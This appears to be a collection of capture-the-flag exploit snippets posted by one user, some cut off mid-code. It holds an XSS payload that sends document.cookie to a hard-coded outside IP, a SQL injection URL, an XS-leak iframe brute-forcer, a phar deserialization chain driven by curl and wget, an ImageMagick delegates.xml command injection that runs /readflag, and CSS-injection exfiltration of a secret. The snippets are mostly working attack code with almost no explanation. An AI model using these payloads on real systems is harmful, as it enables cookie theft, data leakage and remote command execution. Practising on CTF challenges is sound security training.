tyage

1a2
>
222,223d222
<       do_action('wp_print_scripts');
<
225,228d223
<
<       # remove theCode
<       $content = preg_replace('/<p class="theCode[^<]+<\/p>/', '', $content);
<

tyage

#!/usr/local/bin/zsh

command=(
  #cookie "PHPSESSID" "rsha06bn3700l9jtvpvsottf7q"
  #header "Content*" "compressed"
  header "HTTP/ 999 " "found"
  #header "HTTP/0.9 " "OK"
  #header "Connection" "close"
  body "<script\r\n>location.href='//35.209.128.35:12345/?'+document.cookie\r\n</script" b
  hello 1 1

tyage

#!/usr/bin/env python3

import random
import sys

FLAG_LENGTH = 42
OPS_CURSOR = 0
RESULT_CURSOR = 0

TIME = 157763354

tyage

logfilter3000

http://challenges.openctf.cat:9008/?id%3d1%20union%20select%201,hidden,1,%221974-10-07%2011:46:04%22%20from%20log_entry%20where%201%20or%201=1

Flip the Script

/*'/*"+/.*/+target.exploit//

tyage

<?php
$prefix = "";
if ($_GET["prefix"]) { $prefix = $_GET["prefix"]; }
for ($i = 20; $i <= 126; $i++) {
  echo "<iframe id='" . chr($i) . "' src='http://challenges.fbctf.com:8082/search?query=fb%7b" . urlencode($prefix . chr($i)) ."'></iframe>";
}
?>

<script>
Array.from(document.querySelectorAll('iframe')).forEach(f => {

tyage

IMAGE=$(curl http://153.127.202.154:1002/upload.php -F "[email protected]" -vvv 2>&1 | grep Set-Cookie | sed -r 's/^.*session=([^.]+).*$/\1/' | base64 -d 2>/dev/null | sed -r 's/^.*avatar":"([^"]+).*$/\1/')
echo $IMAGE

wget http://153.127.202.154:1002/uploads/$IMAGE

node -e "function btoa(str) {    var buffer;  if (Buffer.isBuffer(str)) {    buffer = str;  }  else {    buffer = new Buffer(str.toString(), 'binary');  }  return buffer.toString('base64');};console.log('session=' + btoa('{\"name\":\"AAAAAAAAAAAAAAAA\",\"flash\":{\"type\":\"error\",\"message\":\"Uploaded file is not PNG format.\"},\"theme\":\"phar://./uploads/$IMAGE/exploit\"}').replace(/=/g,'') + '.JDJ5JDEwJC5LS1h0UnlUbC5OeHhWVHdFRXovZ095N2taU3NPTXBhTDRnMi4yNXkwMnQ3eHp1dW16SzVt')" > cookie

COOKIE=$(cat cookie)
echo $COOKIE

tyage

<?php
$home = '/tmp/84d99af2ce44bb1dd3398190b930c8ac';
ini_set('display_errors', 1); 
mkdir("$home/.magick/");
file_put_contents("$home/.magick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
mkdir("$home/.config/");
mkdir("$home/.config/ImageMagick");
file_put_contents("$home/.config/ImageMagick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
touch("$home/test.foo");
$_ENV['HOME'] = $home;

tyage

<?php

$encrypted_block = 'PKklQOstCkI=';

$message = '';
$charset = '_-abcdefghijklmnopqrstuvwxyz0123456789';
$str_length = strlen($charset);
$method = 'DES-ECB';

function check($flag) {

tyage

version: '3'

services:
  dockerauth:
    image: cesanta/docker_auth
    ports:
      - "5001:5001"
    volumes:
      - ./config:/config:ro
      - ./log:/logs

tyage

prefix = 'L0LC47S_43V3R'
grecaptcha.execute(recaptcha_id, {action: 'report'}).then((token) => send('/report ' + token));
setTimeout(() => {
fetch(`send?name=${encodeURIComponent('/secret wao; Domain=a.cat-chat.web.ctfcompetition.com')}&msg=dog`)
}, 2000);
setTimeout(() => {
let payload = ''
for(let i = '0'.charCodeAt(0); i <= '9'.charCodeAt(0); ++i) {
  let a = String.fromCharCode(i)
  payload += `span[data-secret^=${prefix}${a}]{background:url(./send?name=a&msg=flag%20${a})}`